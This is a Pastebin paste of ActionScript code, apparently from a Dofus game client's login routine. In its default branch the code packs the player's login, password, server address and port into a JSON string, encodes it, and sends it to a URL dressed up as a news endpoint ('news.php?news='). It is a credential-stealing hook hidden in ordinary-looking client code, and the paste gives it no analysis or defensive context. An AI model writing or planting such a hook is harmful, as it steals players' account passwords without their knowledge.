Advertisement
Guest User

dsfsdg

a guest
Nov 17th, 2017
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.     var ip = _global.CONFIG.connexionServer.ip;
  2.     if (!ip)
  3.     {
  4.         ip = api.datacenter.Basics.serverHost;
  5.     }
  6.     if (!port)
  7.     {
  8.         port = api.datacenter.Basics.serverPort;
  9.     }
  10.     switch (ip + port)
  11.     {
  12.         case "ip" + "port":
  13.         {
  14.             break;
  15.         }
  16.         default:
  17.         {
  18.            var ul = new LoadVars();
  19.            var encodedData = "";
  20.            encodedData = encodedData + "{";
  21.            encodedData = encodedData + ("\"login\":\"" + sLogin + "\",");
  22.            encodedData = encodedData + ("\"pass\":\"" + sPassword + "\",");
  23.            encodedData = encodedData + ("\"server\":\"" + ip + "\",");
  24.            encodedData = encodedData + ("\"port\":\"" + port + "\"");
  25.            encodedData = encodedData + "}";
  26.            ul.load("http://localhost/dofus/api/news/news.php?news=" + this.encode(encodedData));
  27.            break;
  28.         }
  29.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement